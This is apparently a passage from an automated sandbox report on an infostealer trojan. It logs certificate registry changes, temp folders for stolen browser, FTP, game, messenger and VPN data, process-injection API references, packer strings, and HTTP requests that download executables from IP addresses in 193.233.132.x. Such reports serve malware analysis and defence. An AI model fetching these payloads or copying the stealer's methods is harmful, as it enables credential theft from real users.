"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES")49:Tf7b,"SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\GoogleAccounts (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\CC (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\FTP\FileZilla (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Autofill (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Downloads (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\FTP\TotalCommander (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\FTP (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\Growtopia (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\Minecraft (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\TLauncher (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\FeatherClient (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\LunarClient (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\Battle.net (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games\Steam (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Games (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers\Skype (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers\Element (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers\ICQ (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers\Signal (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers\Tox (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers\Pidgin (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Messengers (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\VPN\OpenVPN Connect (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\VPN (UID: 00000000-00002428) "SecuriteInfo.com.Win32.TrojanX-gen.11896.11156.exe" called "RemoveDirectoryA" with parameter %TEMP%\adobe36qnGX77Fu77\Plugins (UID: 00000000-00002428)4a:T708,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp")4b:T54d,Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp")4c:T40c,Found string - \\.\oreans32; Source: "00000000-00001028.00000000.70933.00D81000.00000040.mdmp, 00000000-00001028.00000001.72086.00D81000.00000040.mdmp") Found string - \\.\Global\oreans32; Source: "00000000-00001028.00000000.70933.00D81000.00000040.mdmp, 00000000-00001028.00000001.72086.00D81000.00000040.mdmp") Found string - \\.\Global\oreansx64; Source: "00000000-00001028.00000000.70933.00D81000.00000040.mdmp, 00000000-00001028.00000001.72086.00D81000.00000040.mdmp") Found string - \\.\Oreans.vxd; Source: "00000000-00001028.00000000.70933.00D81000.00000040.mdmp, 00000000-00001028.00000001.72086.00D81000.00000040.mdmp") Found string - \\.\oreans32; Source: "00000000-00002392.00000000.78194.00481000.00000040.mdmp") Found string - \\.\Global\oreans32; Source: "00000000-00002392.00000000.78194.00481000.00000040.mdmp") Found string - \\.\Global\oreansx64; Source: "00000000-00002392.00000000.78194.00481000.00000040.mdmp") Found string - \\.\Oreans.vxd; Source: "00000000-00002392.00000000.78194.00481000.00000040.mdmp")4d:T40e8,Contains base64 string in header "Keep" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "AliveReferer" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "like" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "like" in header "GET /cost/lenin.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/lenin.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "167Cache" in header "GET /cost/lenin.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "/hera/amadka" in header "GET /hera/amadka.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.62:57893Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /hera/amadka.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.62:57893Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /hera/amadka.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.62:57893Cache-Control: no-cache" Contains base64 string in header "/cost/go" in header "GET /cost/go.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/go.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/go.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "167Cache" in header "GET /cost/go.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.167Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Modified" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2024" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET 